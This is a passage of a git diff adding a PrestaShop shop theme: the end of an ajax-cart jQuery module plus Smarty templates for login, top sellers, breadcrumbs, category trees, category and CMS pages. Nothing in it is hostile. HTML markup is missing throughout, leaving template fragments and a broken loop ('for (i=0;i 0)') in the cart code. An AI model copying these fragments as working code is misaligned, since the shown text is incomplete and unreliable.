'POST', + headers: { "cache-control": "no-cache" }, + url: baseDir + 'modules/blockcart/blockcart-set-collapse.php' + '?rand=' + new Date().getTime(), + async: true, + cache: false, + data: 'ajax_blockcart_display=expand' + }); + + + } + }, + // Fix display when using back and previous browsers buttons + refresh : function(){ + $.ajax({ + type: 'POST', + headers: { "cache-control": "no-cache" }, + url: baseUri + '?rand=' + new Date().getTime(), + async: true, + cache: false, + dataType : "json", + data: 'controller=cart&ajax=true&token=' + static_token, + success: function(jsonData) + { + ajaxCart.updateCart(jsonData); + } + }); + }, + + // try to collapse the cart + collapse : function(){ + + if ($('#cart_block_list').hasClass('expanded')) + { + $('#cart_block_list').slideUp('slow', function(){ + $(this).addClass('collapsed').removeClass('expanded'); + $('#cart_block_summary').slideDown(450, function(){ + $(this).addClass('expanded').removeClass('collapsed'); + }); + }); + $('#block_cart_collapse').fadeOut('slow', function(){ + $('#block_cart_expand').fadeIn('fast'); + }); + + // save the expand statut in the user cookie + $.ajax({ + type: 'POST', + headers: { "cache-control": "no-cache" }, + url: baseDir + 'modules/blockcart/blockcart-set-collapse.php' + '?rand=' + new Date().getTime(), + async: true, + cache: false, + data: 'ajax_blockcart_display=collapse' + '&rand=' + new Date().getTime() + }); + } + }, + + // Update the cart information + updateCartInformation : function (jsonData, addedFromProductPage) + { + ajaxCart.updateCart(jsonData); + + //reactive the button when adding has finished + if (addedFromProductPage) + $('#add_to_cart input').removeAttr('disabled').addClass('exclusive').removeClass('exclusive_disabled'); + else + $('.ajax_add_to_cart_button').removeAttr('disabled'); + }, + + // add a product in the cart via ajax + add : function(idProduct, idCombination, addedFromProductPage, callerElement, quantity, whishlist){ + if (addedFromProductPage && !checkCustomizations()) + { + alert(fieldRequired); + return ; + } + emptyCustomizations(); + //disabled the button when adding to not double add if user double click + if (addedFromProductPage) + { + $('#add_to_cart input').attr('disabled', true).removeClass('exclusive').addClass('exclusive_disabled'); + $('.filled').removeClass('filled'); + } + else + $(callerElement).attr('disabled', true); + + if ($('#cart_block_list').hasClass('collapsed')) + this.expand(); + //send the ajax request to the server + $.ajax({ + type: 'POST', + headers: { "cache-control": "no-cache" }, + url: baseUri + '?rand=' + new Date().getTime(), + async: true, + cache: false, + dataType : "json", + data: 'controller=cart&add=1&ajax=true&qty=' + ((quantity && quantity != null) ? quantity : '1') + '&id_product=' + idProduct + '&token=' + static_token + ( (parseInt(idCombination) && idCombination != null) ? '&ipa=' + parseInt(idCombination): ''), + success: function(jsonData,textStatus,jqXHR) + { + // add appliance to whishlist module + if (whishlist && !jsonData.errors) + WishlistAddProductCart(whishlist[0], idProduct, idCombination, whishlist[1]); + + // add the picture to the cart + var $element = $(callerElement).parent().parent().parent().find('a.product_image img,a.product_img_link img'); + if (!$element.length) + $element = $('#bigpic'); + var $picture = $element.clone(); + var pictureOffsetOriginal = $element.offset(); + + if ($picture.size()) + $picture.css({'position': 'absolute', 'top': pictureOffsetOriginal.top, 'left': pictureOffsetOriginal.left}); + + var pictureOffset = $picture.offset(); + if ($('#cart_block')[0] && $('#cart_block').offset().top && $('#cart_block').offset().left) + var cartBlockOffset = $('#cart_block').offset(); + else + var cartBlockOffset = $('#shopping_cart').offset(); + + // Check if the block cart is activated for the animation + if (cartBlockOffset != undefined && $picture.size()) + { + $picture.appendTo('body'); + $picture.css({ 'position': 'absolute', 'top': $picture.css('top'), 'left': $picture.css('left'), 'z-index': 4242 }) + .animate({ 'width': $element.attr('width')*0.66, 'height': $element.attr('height')*0.66, 'opacity': 0.2, 'top': cartBlockOffset.top + 30, 'left': cartBlockOffset.left + 15 }, 1000) + .fadeOut(100, function() { + ajaxCart.updateCartInformation(jsonData, addedFromProductPage); + }); + } + else + ajaxCart.updateCartInformation(jsonData, addedFromProductPage); + }, + error: function(XMLHttpRequest, textStatus, errorThrown) + { + alert("Impossible to add the product to the cart.\n\ntextStatus: '" + textStatus + "'\nerrorThrown: '" + errorThrown + "'\nresponseText:\n" + XMLHttpRequest.responseText); + //reactive the button when adding has finished + if (addedFromProductPage) + $('#add_to_cart input').removeAttr('disabled').addClass('exclusive').removeClass('exclusive_disabled'); + else + $(callerElement).removeAttr('disabled'); + } + }); + }, + + //remove a product from the cart via ajax + remove : function(idProduct, idCombination, customizationId, idAddressDelivery){ + //send the ajax request to the server + $.ajax({ + type: 'POST', + headers: { "cache-control": "no-cache" }, + url: baseUri + '?rand=' + new Date().getTime(), + async: true, + cache: false, + dataType : "json", + data: 'controller=cart&delete=1&id_product=' + idProduct + '&ipa=' + ((idCombination != null && parseInt(idCombination)) ? idCombination : '') + ((customizationId && customizationId != null) ? '&id_customization=' + customizationId : '') + '&id_address_delivery=' + idAddressDelivery + '&token=' + static_token + '&ajax=true', + success: function(jsonData) { + ajaxCart.updateCart(jsonData); + if ($('body').attr('id') == 'order' || $('body').attr('id') == 'order-opc') + deleteProductFromSummary(idProduct+'_'+idCombination+'_'+customizationId+'_'+idAddressDelivery); + }, + error: function() {alert('ERROR: unable to delete the product');} + }); + }, + + //hide the products displayed in the page but no more in the json data + hideOldProducts : function(jsonData) { + //delete an eventually removed product of the displayed cart (only if cart is not empty!) + if ($('#cart_block_list dl.products').length > 0) + { + var removedProductId = null; + var removedProductData = null; + var removedProductDomId = null; + //look for a product to delete... + $('#cart_block_list dl.products dt').each(function(){ + //retrieve idProduct and idCombination from the displayed product in the block cart + var domIdProduct = $(this).attr('id'); + var firstCut = domIdProduct.replace('cart_block_product_', ''); + var ids = firstCut.split('_'); + + //try to know if the current product is still in the new list + var stayInTheCart = false; + for (aProduct in jsonData.products) + { + //we've called the variable aProduct because IE6 bug if this variable is called product + //if product has attributes + if (jsonData.products[aProduct]['id'] == ids[0] && (!ids[1] || jsonData.products[aProduct]['idCombination'] == ids[1])) + { + stayInTheCart = true; + // update the product customization display (when the product is still in the cart) + ajaxCart.hideOldProductCustomizations(jsonData.products[aProduct], domIdProduct); + } + } + //remove product if it's no more in the cart + if (!stayInTheCart) + { + removedProductId = $(this).attr('id'); + if (removedProductId != null) + { + var firstCut = removedProductId.replace('cart_block_product_', ''); + var ids = firstCut.split('_'); + + $('#'+removedProductId).addClass('strike').fadeTo('slow', 0, function(){ + $(this).slideUp('slow', function(){ + $(this).remove(); + // If the cart is now empty, show the 'no product in the cart' message and close detail + if($('#cart_block dl.products dt').length == 0) + { + $("#header #cart_block").stop(true, true).slideUp(200); + $('#cart_block_no_products:hidden').slideDown(450); + $('#cart_block dl.products').remove(); + } + }); + }); + $('#cart_block_combination_of_' + ids[0] + (ids[1] ? '_'+ids[1] : '') + (ids[2] ? '_'+ids[2] : '')).fadeTo('fast', 0, function(){ + $(this).slideUp('fast', function(){ + $(this).remove(); + }); + }); + } + } + }); + } + }, + + hideOldProductCustomizations : function (product, domIdProduct) + { + var customizationList = $('#customization_' + product['id'] + '_' + product['idCombination']); + if(customizationList.length > 0) + { + $(customizationList).find("li").each(function(){ + $(this).find("div").each(function() { + var customizationDiv = $(this).attr('id'); + var tmp = customizationDiv.replace('deleteCustomizableProduct_', ''); + var ids = tmp.split('_'); + if ((parseInt(product.idCombination) == parseInt(ids[2])) && !ajaxCart.doesCustomizationStillExist(product, ids[0])) + $('#' + customizationDiv).parent().addClass('strike').fadeTo('slow', 0, function(){ + $(this).slideUp('slow'); + $(this).remove(); + }); + }); + }); + } + var removeLinks = $('#cart_block_product_' + domIdProduct).find('a.ajax_cart_block_remove_link'); + if (!product.hasCustomizedDatas && !removeLinks.length) + $('#' + domIdProduct + ' span.remove_link').html(' '); + if (product.is_gift) + $('#' + domIdProduct + ' span.remove_link').html(''); + }, + + doesCustomizationStillExist : function (product, customizationId) + { + var exists = false; + + $(product.customizedDatas).each(function() { + if (this.customizationId == customizationId) + { + exists = true; + // This return does not mean that we found nothing but simply break the loop + return false; + } + }); + return (exists); + }, + + //refresh display of vouchers (needed for vouchers in % of the total) + refreshVouchers : function (jsonData) { + if (typeof(jsonData.discounts) == 'undefined' || jsonData.discounts.length == 0) + $('#vouchers').hide(); + else + { + $('#vouchers tbody').html(''); + + for (i=0;i 0) + { + var delete_link = ''; + if (jsonData.discounts[i].code.length) + delete_link = ''+delete_txt+''; + $('#vouchers tbody').append($( + '' + +' 1x' + +' '+jsonData.discounts[i].name+'' + +' -'+jsonData.discounts[i].price+'' + +' ' + delete_link + '' + +'' + )); + } + } + + $('#vouchers').show(); + } + + }, + + // Update product quantity + updateProductQuantity : function (product, quantity) { + + $('#cart_block_product_' + product.id + '_' + (product.idCombination ? product.idCombination : '0')+ '_' + (product.idAddressDelivery ? product.idAddressDelivery : '0') + ' .quantity').fadeTo('fast', 0, function() { + $(this).text(quantity); + $(this).fadeTo('fast', 1, function(){ + $(this).fadeTo('fast', 0, function(){ + $(this).fadeTo('fast', 1, function(){ + $(this).fadeTo('fast', 0, function(){ + $(this).fadeTo('fast', 1); + }); + }); + }); + }); + }); + }, + + + //display the products witch are in json data but not already displayed + displayNewProducts : function(jsonData) { + + //add every new products or update displaying of every updated products + $(jsonData.products).each(function(){ + //fix ie6 bug (one more item 'undefined' in IE6) + if (this.id != undefined) + { + //create a container for listing the products and hide the 'no product in the cart' message (only if the cart was empty) + + if ($('#cart_block dl.products').length == 0) + { + $('#cart_block_no_products').before('
        '); + $('#cart_block_no_products').hide(); + } + //if product is not in the displayed cart, add a new product's line + var domIdProduct = this.id + '_' + (this.idCombination ? this.idCombination : '0') + '_' + (this.idAddressDelivery ? this.idAddressDelivery : '0'); + var domIdProductAttribute = this.id + '_' + (this.idCombination ? this.idCombination : '0'); + if ($('#cart_block_product_'+ domIdProduct).length == 0) + { + var productId = parseInt(this.id); + var productAttributeId = (this.hasAttributes ? parseInt(this.attributes) : 0); + var content = ''; + if (this.hasAttributes) + content += ''; + + $('#cart_block dl.products').append(content); + } + //else update the product's line + else + { + var jsonProduct = this; + if($.trim($('#cart_block_product_' + domIdProduct + ' .quantity').html()) != jsonProduct.quantity || $.trim($('#cart_block_product_' + domIdProduct + ' .price').html()) != jsonProduct.priceByLine) + { + // Usual product + if (!this.is_gift) + $('#cart_block_product_' + domIdProduct + ' .price').text(jsonProduct.priceByLine); + else + $('#cart_block_product_' + domIdProduct + ' .price').html(freeProductTranslation); + ajaxCart.updateProductQuantity(jsonProduct, jsonProduct.quantity); + + // Customized product + if (jsonProduct.hasCustomizedDatas) + { + customizationFormatedDatas = ajaxCart.displayNewCustomizedDatas(jsonProduct); + if (!$('#customization_' + domIdProductAttribute).length) + { + if (jsonProduct.hasAttributes) + $('#cart_block_combination_of_' + domIdProduct).append(customizationFormatedDatas); + else + $('#cart_block dl.products').append(customizationFormatedDatas); + } + else + { + $('#customization_' + domIdProductAttribute).html(''); + $('#customization_' + domIdProductAttribute).append(customizationFormatedDatas); + } + } + } + } + $('#cart_block dl.products .hidden').slideDown(450).removeClass('hidden'); + + var removeLinks = $('#cart_block_product_' + domIdProduct).find('a.ajax_cart_block_remove_link'); + if (this.hasCustomizedDatas && removeLinks.length) + $(removeLinks).each(function() { + $(this).remove(); + }); + } + }); + }, + + displayNewCustomizedDatas : function(product) + { + var content = ''; + var productId = parseInt(product.id); + var productAttributeId = typeof(product.idCombination) == 'undefined' ? 0 : parseInt(product.idCombination); + var hasAlreadyCustomizations = $('#customization_' + productId + '_' + productAttributeId).length; + + if (!hasAlreadyCustomizations) + { + if (!product.hasAttributes) + content += ''; + } + return (content); + }, + + + //genarally update the display of the cart + updateCart : function(jsonData) { + //user errors display + if (jsonData.hasError) + { + var errors = ''; + for(error in jsonData.errors) + //IE6 bug fix + if(error != 'indexOf') + errors += jsonData.errors[error] + "\n"; + alert(errors); + } + else + { + ajaxCart.updateCartEverywhere(jsonData); + ajaxCart.hideOldProducts(jsonData); + ajaxCart.displayNewProducts(jsonData); + ajaxCart.refreshVouchers(jsonData); + + //update 'first' and 'last' item classes + $('#cart_block .products dt').removeClass('first_item').removeClass('last_item').removeClass('item'); + $('#cart_block .products dt:first').addClass('first_item'); + $('#cart_block .products dt:not(:first,:last)').addClass('item'); + $('#cart_block .products dt:last').addClass('last_item'); + + //reset the onlick events in relation to the cart block (it allow to bind the onclick event to the new 'delete' buttons added) + ajaxCart.overrideButtonsInThePage(); + } + }, + + //update general cart informations everywhere in the page + updateCartEverywhere : function(jsonData) { + $('.ajax_cart_total').text($.trim(jsonData.productTotal)); + + if (parseFloat(jsonData.shippingCostFloat) > 0 || jsonData.nbTotalProducts < 1) + $('.ajax_cart_shipping_cost').text(jsonData.shippingCost); + else if (typeof(freeShippingTranslation) != 'undefined') + $('.ajax_cart_shipping_cost').html(freeShippingTranslation); + $('.ajax_cart_tax_cost').text(jsonData.taxCost); + $('.cart_block_wrapping_cost').text(jsonData.wrappingCost); + $('.ajax_block_cart_total').text(jsonData.total); + + this.nb_total_products = jsonData.nbTotalProducts; + + if (parseInt(jsonData.nbTotalProducts) > 0) + { + $('.ajax_cart_no_product').hide(); + $('.ajax_cart_quantity').text(jsonData.nbTotalProducts); + $('.ajax_cart_quantity').fadeIn('slow'); + $('.ajax_cart_total').fadeIn('slow'); + + if (parseInt(jsonData.nbTotalProducts) > 1) + { + $('.ajax_cart_product_txt').each( function () { + $(this).hide(); + }); + + $('.ajax_cart_product_txt_s').each( function () { + $(this).show(); + }); + } + else + { + $('.ajax_cart_product_txt').each( function () { + $(this).show(); + }); + + $('.ajax_cart_product_txt_s').each( function () { + $(this).hide(); + }); + } + } + else + { + $('.ajax_cart_quantity, .ajax_cart_product_txt_s, .ajax_cart_product_txt, .ajax_cart_total').each(function(){ + $(this).hide(); + }); + $('.ajax_cart_no_product').show('slow'); + } + } +}; + +function HoverWatcher(selector){ + this.hovering = false; + var self = this; + + this.isHoveringOver = function() { + return self.hovering; + } + + $(selector).hover(function() { + self.hovering = true; + }, function() { + self.hovering = false; + }) +} + +//when document is loaded... +$(document).ready(function(){ + ajaxCart.overrideButtonsInThePage(); + ajaxCart.refresh(); +// alert('test'); +}); diff --git a/themes/default/authentication.tpl b/themes/default/authentication.tpl new file mode 100755 index 0000000..a6ba2df --- /dev/null +++ b/themes/default/authentication.tpl @@ -0,0 +1,653 @@ +{* +* 2007-2013 PrestaShop +* +* NOTICE OF LICENSE +* +* This source file is subject to the Academic Free License (AFL 3.0) +* that is bundled with this package in the file LICENSE.txt. +* It is also available through the world-wide-web at this URL: +* http://opensource.org/licenses/afl-3.0.php +* If you did not receive a copy of the license and are unable to +* obtain it through the world-wide-web, please send an email +* to license@prestashop.com so we can send you a copy immediately. +* +* DISCLAIMER +* +* Do not edit or add to this file if you wish to upgrade PrestaShop to newer +* versions in the future. If you wish to customize PrestaShop for your +* needs please refer to http://www.prestashop.com for more information. +* +* @author PrestaShop SA +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/afl-3.0.php Academic Free License (AFL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*} + +{capture name=path}{l s='Mon panier'}{$navigationPipe}{l s='Identification'}{/capture} +{include file="$tpl_dir./breadcrumb.tpl"} + + +
        +{if !isset($email_create)}

        [{l s='Log in'}]

        {else}

        [{l s='Create an account'}]

        {/if} +{*if !isset($back) || $back != 'my-account'}{assign var='current_step' value='login'}{include file="$tpl_dir./order-steps.tpl"}{/if*} +{include file="$tpl_dir./errors.tpl"} +{assign var='stateExist' value=false} +{if !isset($email_create)} + + + +
        +
        +
        +

        {l s='Vous avez un compte'}

        +

        +

        {l s='Mot de passe oublié'}

        +

        + {if isset($back)}{/if} + +

        +
        +
        +
        +
        +
        +

        {l s='Vous n\'avez pas de compte'}

        +
        +

        {l s='Créez un compte gratuitement et accédez simplement à un ensemble de services personnalisés. Offres exclusives du Laboratoire Garancia :'} {l s='Suivi des commandes - Modification de vos coordonnées personnelles - Mailing des dernières tendances et des offres exclusives Garancia - Rédaction d\'avis sur les produits.'}

        + +

        + {if isset($back)}{/if} + + +

        + +
        +
        +
        + + {if isset($inOrderProcess) && $inOrderProcess && $PS_GUEST_CHECKOUT_ENABLED} +
        +
        +

        {l s='Instant checkout'}

        +
        + +

        + + +

        +

        + {l s='Title'} + {foreach from=$genders key=k item=gender} + {if $gender->id==2}id} checked="checked"{/if} /> + {/if} + {/foreach} + {foreach from=$genders key=k item=gender} + {if $gender->id==3}id} checked="checked"{/if} /> + {/if} + {/foreach} + {foreach from=$genders key=k item=gender} + {if $gender->id==1}id} checked="checked"{/if} /> + {/if} + {/foreach} +

        +

        + + + +

        +

        + + + +

        +

        + {l s='Date of Birth'} + + {* + {l s='January'} + {l s='February'} + {l s='March'} + {l s='April'} + {l s='May'} + {l s='June'} + {l s='July'} + {l s='August'} + {l s='September'} + {l s='October'} + {l s='November'} + {l s='December'} + *} + + +

        + {if isset($newsletter) && $newsletter} +

        + + +

        +

        + + +

        + {/if} +

        {l s='Delivery address'}

        + {foreach from=$dlv_all_fields item=field_name} + {if $field_name eq "company"} +

        + + +

        + {elseif $field_name eq "vat_number"} + + {elseif $field_name eq "address1"} +

        + + +

        + {elseif $field_name eq "postcode"} +

        + + +

        + {elseif $field_name eq "city"} +

        + + +

        + + {elseif $field_name eq "Country:name" || $field_name eq "country"} +

        + + +

        + {elseif $field_name eq "State:name"} + {assign var='stateExist' value=true} + +

        + + +

        + {elseif $field_name eq "phone"} +

        + + +

        + {/if} + {/foreach} + {if $stateExist eq false} +

        + + +

        + {/if} + + + +
        +
        + + {$HOOK_CREATE_ACCOUNT_FORM} +

        + *{l s='Required field'} + + +

        +
        + {/if} +{else} + +
        +
        + {$HOOK_CREATE_ACCOUNT_TOP} + + {if $b2b_enable} + + {/if} + {if isset($PS_REGISTRATION_PROCESS_TYPE) && $PS_REGISTRATION_PROCESS_TYPE} + + + {/if} + + {$HOOK_CREATE_ACCOUNT_FORM} +

        + + + {if isset($back)}{/if} + + +

        +

        * {l s='Required field'}

        +
        +
        +{/if} +
        diff --git a/themes/default/best-sales.tpl b/themes/default/best-sales.tpl new file mode 100755 index 0000000..e0edbc2 --- /dev/null +++ b/themes/default/best-sales.tpl @@ -0,0 +1,53 @@ +{* +* 2007-2013 PrestaShop +* +* NOTICE OF LICENSE +* +* This source file is subject to the Academic Free License (AFL 3.0) +* that is bundled with this package in the file LICENSE.txt. +* It is also available through the world-wide-web at this URL: +* http://opensource.org/licenses/afl-3.0.php +* If you did not receive a copy of the license and are unable to +* obtain it through the world-wide-web, please send an email +* to license@prestashop.com so we can send you a copy immediately. +* +* DISCLAIMER +* +* Do not edit or add to this file if you wish to upgrade PrestaShop to newer +* versions in the future. If you wish to customize PrestaShop for your +* needs please refer to http://www.prestashop.com for more information. +* +* @author PrestaShop SA +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/afl-3.0.php Academic Free License (AFL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*} + +{capture name=path}{l s='Top sellers'}{/capture} +{include file="$tpl_dir./breadcrumb.tpl"} + +

        {l s='Top sellers'}

        + +{if $products} +
        + {include file="$tpl_dir./pagination.tpl"} + +
        + {include file="./product-sort.tpl"} + {include file="./product-compare.tpl"} + {include file="./nbr-product-page.tpl"} +
        +
        + + {include file="./product-list.tpl" products=$products} + +
        +
        + {include file="./product-sort.tpl"} {include file="./product-compare.tpl"} {include file="./nbr-product-page.tpl"} + +
        + {include file="./pagination.tpl"} +
        + {else} +

        {l s='No top sellers for the moment.'}

        +{/if} diff --git a/themes/default/bgBody.jpg b/themes/default/bgBody.jpg new file mode 100755 index 0000000..ff7658c Binary files /dev/null and b/themes/default/bgBody.jpg differ diff --git a/themes/default/breadcrumb.tpl b/themes/default/breadcrumb.tpl new file mode 100755 index 0000000..533bcb8 --- /dev/null +++ b/themes/default/breadcrumb.tpl @@ -0,0 +1,39 @@ +{* +* 2007-2013 PrestaShop +* +* NOTICE OF LICENSE +* +* This source file is subject to the Academic Free License (AFL 3.0) +* that is bundled with this package in the file LICENSE.txt. +* It is also available through the world-wide-web at this URL: +* http://opensource.org/licenses/afl-3.0.php +* If you did not receive a copy of the license and are unable to +* obtain it through the world-wide-web, please send an email +* to license@prestashop.com so we can send you a copy immediately. +* +* DISCLAIMER +* +* Do not edit or add to this file if you wish to upgrade PrestaShop to newer +* versions in the future. If you wish to customize PrestaShop for your +* needs please refer to http://www.prestashop.com for more information. +* +* @author PrestaShop SA +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/afl-3.0.php Academic Free License (AFL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*} + + +{if isset($smarty.capture.path)}{assign var='path' value=$smarty.capture.path}{/if} + + \ No newline at end of file diff --git a/themes/default/category-cms-tree-branch.tpl b/themes/default/category-cms-tree-branch.tpl new file mode 100755 index 0000000..8632596 --- /dev/null +++ b/themes/default/category-cms-tree-branch.tpl @@ -0,0 +1,52 @@ +{* +* 2007-2013 PrestaShop +* +* NOTICE OF LICENSE +* +* This source file is subject to the Academic Free License (AFL 3.0) +* that is bundled with this package in the file LICENSE.txt. +* It is also available through the world-wide-web at this URL: +* http://opensource.org/licenses/afl-3.0.php +* If you did not receive a copy of the license and are unable to +* obtain it through the world-wide-web, please send an email +* to license@prestashop.com so we can send you a copy immediately. +* +* DISCLAIMER +* +* Do not edit or add to this file if you wish to upgrade PrestaShop to newer +* versions in the future. If you wish to customize PrestaShop for your +* needs please refer to http://www.prestashop.com for more information. +* +* @author PrestaShop SA +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/afl-3.0.php Academic Free License (AFL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*} + +
      • + {$node.name|escape:'htmlall':'UTF-8'} + {if isset($node.children) && $node.children|@count > 0} +
          + {foreach from=$node.children item=child name=categoryCmsTreeBranch} + {if isset($child.children) && $child.children|@count > 0 || isset($child.cms) && $child.cms|@count > 0} + {if $smarty.foreach.categoryCmsTreeBranch.last && $node.cms|@count == 0} + {include file="$tpl_dir./category-cms-tree-branch.tpl" node=$child last='true'} + {else} + {include file="$tpl_dir./category-cms-tree-branch.tpl" node=$child} + {/if} + {/if} + {/foreach} + {if isset($node.cms) && $node.cms|@count > 0} + {foreach from=$node.cms item=cms name=cmsTreeBranch} +
        • {$cms.meta_title|escape:'htmlall':'UTF-8'}
        • + {/foreach} + {/if} +
        + {elseif isset($node.cms) && $node.cms|@count > 0} + + {/if} +
      • diff --git a/themes/default/category-count.tpl b/themes/default/category-count.tpl new file mode 100755 index 0000000..2e6b973 --- /dev/null +++ b/themes/default/category-count.tpl @@ -0,0 +1,34 @@ +{* +* 2007-2013 PrestaShop +* +* NOTICE OF LICENSE +* +* This source file is subject to the Academic Free License (AFL 3.0) +* that is bundled with this package in the file LICENSE.txt. +* It is also available through the world-wide-web at this URL: +* http://opensource.org/licenses/afl-3.0.php +* If you did not receive a copy of the license and are unable to +* obtain it through the world-wide-web, please send an email +* to license@prestashop.com so we can send you a copy immediately. +* +* DISCLAIMER +* +* Do not edit or add to this file if you wish to upgrade PrestaShop to newer +* versions in the future. If you wish to customize PrestaShop for your +* needs please refer to http://www.prestashop.com for more information. +* +* @author PrestaShop SA +* @copyright 2007-2013 PrestaShop SA +* @version Release: $Revision$ +* @license http://opensource.org/licenses/afl-3.0.php Academic Free License (AFL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*} +{if $category->id == 1 OR $nb_products == 0} + {l s='There are no products in this category'} +{else} + {if $nb_products == 1} + {l s='There is %d product.' sprintf=$nb_products} + {else} + {l s='There are %d products.' sprintf=$nb_products} + {/if} +{/if} \ No newline at end of file diff --git a/themes/default/category-tree-branch.tpl b/themes/default/category-tree-branch.tpl new file mode 100755 index 0000000..60d14a1 --- /dev/null +++ b/themes/default/category-tree-branch.tpl @@ -0,0 +1,39 @@ +{* +* 2007-2013 PrestaShop +* +* NOTICE OF LICENSE +* +* This source file is subject to the Academic Free License (AFL 3.0) +* that is bundled with this package in the file LICENSE.txt. +* It is also available through the world-wide-web at this URL: +* http://opensource.org/licenses/afl-3.0.php +* If you did not receive a copy of the license and are unable to +* obtain it through the world-wide-web, please send an email +* to license@prestashop.com so we can send you a copy immediately. +* +* DISCLAIMER +* +* Do not edit or add to this file if you wish to upgrade PrestaShop to newer +* versions in the future. If you wish to customize PrestaShop for your +* needs please refer to http://www.prestashop.com for more information. +* +* @author PrestaShop SA +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/afl-3.0.php Academic Free License (AFL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*} + +
      • + {$node.name|escape:'htmlall':'UTF-8'} + {if $node.children|@count > 0} +
          + {foreach from=$node.children item=child name=categoryTreeBranch} + {if $smarty.foreach.categoryTreeBranch.last} + {include file="$tpl_dir./category-tree-branch.tpl" node=$child last='true'} + {else} + {include file="$tpl_dir./category-tree-branch.tpl" node=$child last='false'} + {/if} + {/foreach} +
        + {/if} +
      • \ No newline at end of file diff --git a/themes/default/category.tpl b/themes/default/category.tpl new file mode 100755 index 0000000..03fd1ce --- /dev/null +++ b/themes/default/category.tpl @@ -0,0 +1,153 @@ +{* +* 2007-2013 PrestaShop +* +* NOTICE OF LICENSE +* +* This source file is subject to the Academic Free License (AFL 3.0) +* that is bundled with this package in the file LICENSE.txt. +* It is also available through the world-wide-web at this URL: +* http://opensource.org/licenses/afl-3.0.php +* If you did not receive a copy of the license and are unable to +* obtain it through the world-wide-web, please send an email +* to license@prestashop.com so we can send you a copy immediately. +* +* DISCLAIMER +* +* Do not edit or add to this file if you wish to upgrade PrestaShop to newer +* versions in the future. If you wish to customize PrestaShop for your +* needs please refer to http://www.prestashop.com for more information. +* +* @author PrestaShop SA +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/afl-3.0.php Academic Free License (AFL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*} +{assign var=metaTitle value=$category->name} +{if $category->meta_title!=""} + {assign var=metaTitle value=$category->meta_title} +{/if} +{if $category->id==2} +{capture name=path}{$metaTitle}{/capture} + +{else} +{capture name=path}{l s='Nos produits'}{$navigationPipe}{$metaTitle}{/capture} + +{/if} +{include file="$tpl_dir./breadcrumb.tpl"} + +
        + {if $category->id == 8 || $category->id == 32 || $category->id == 10 || $category->id == 33 || $category->id == 9 || $category->id == 4 || $category->id == 6 || $category->id == 11 || $category->id == 5} +
        id_image} style="background:url({$link->getCatImageLink($category->link_rewrite, $category->id_image, 'category_default')}) no-repeat center center / cover #000;"{/if}> + +

        + {$category->name|escape:'htmlall':'UTF-8'} + {if isset($categoryNameComplement)} + {$categoryNameComplement|escape:'htmlall':'UTF-8'} + {/if} +

        + + {if $scenes || $category->description || $category->id_image} + {if $scenes} + + {include file="$tpl_dir./scenes.tpl" scenes=$scenes} + {else} + + {*if $category->id_image} +
        + {$category->name|escape:'htmlall':'UTF-8'} +
        + {/if*} + {/if} + + {if $category->description_short} +
        + {$category->description_short} + {l s='More'} > +
        + {/if} + {/if} +
        + {/if} + +
        + +
        + + {include file="$tpl_dir./errors.tpl"} + + {if isset($category)} + {if $category->id AND $category->active} + + {if $products} + + {include file="./product-list.tpl" products=$products} + + {/if} + {elseif $category->id} +

        {l s='This category is currently unavailable.'}

        + {/if} + + {include file="$tpl_dir./pagination.tpl"} + + {/if} +
        + + {if $category->description && ($category->id == 8 || $category->id == 32 || $category->id == 10 || $category->id == 33 || $category->id == 9 || $category->id == 4 || $category->id == 6 || $category->id == 11 || $category->id == 5)} +
        + {$category->description} +
        + {/if} +
        + + +
        + diff --git a/themes/default/cms.tpl b/themes/default/cms.tpl new file mode 100755 index 0000000..e3783e3 --- /dev/null +++ b/themes/default/cms.tpl @@ -0,0 +1,75 @@ +{* +* 2007-2013 PrestaShop +* +* NOTICE OF LICENSE +* +* This source file is subject to the Academic Free License (AFL 3.0) +* that is bundled with this package in the file LICENSE.txt. +* It is also available through the world-wide-web at this URL: +* http://opensource.org/licenses/afl-3.0.php +* If you did not receive a copy of the license and are unable to +* obtain it through the world-wide-web, please send an email +* to license@prestashop.com so we can send you a copy immediately. +* +* DISCLAIMER +* +* Do not edit or add to this file if you wish to upgrade PrestaShop to newer +* versions in the future. If you wish to customize PrestaShop for your +* needs please refer to http://www.prestashop.com for more information. +* +* @author PrestaShop SA +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/afl-3.0.php Academic Free License (AFL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*} +{if ($content_only == 0)} + {include file="$tpl_dir./breadcrumb.tpl"} +{/if} +{if isset($cms) && !isset($cms_category)} + {if !$cms->active} +
        +
        +

        {l s='This CMS page is not visible to your customers.'} + + + +

        +
        +

        +

        +
        + {/if} +
        +

        [{$cms->meta_title}]

        + {$cms->content} +
        +{elseif isset($cms_category)} +
        +

        {$cms_category->name|escape:'htmlall':'UTF-8'}

        + {if isset($sub_category) & !empty($sub_category)} +

        {l s='List of sub categories in %s:' sprintf=$cms_category->name}

        + + {/if} + {if isset($cms_pages) & !empty($cms_pages)} +

        {l s='List of pages in %s:' sprintf=$cms_category->name}

        + + {/if} +
        +{else} +
        + {l s='This page does not exist.'} +
        +{/if} +
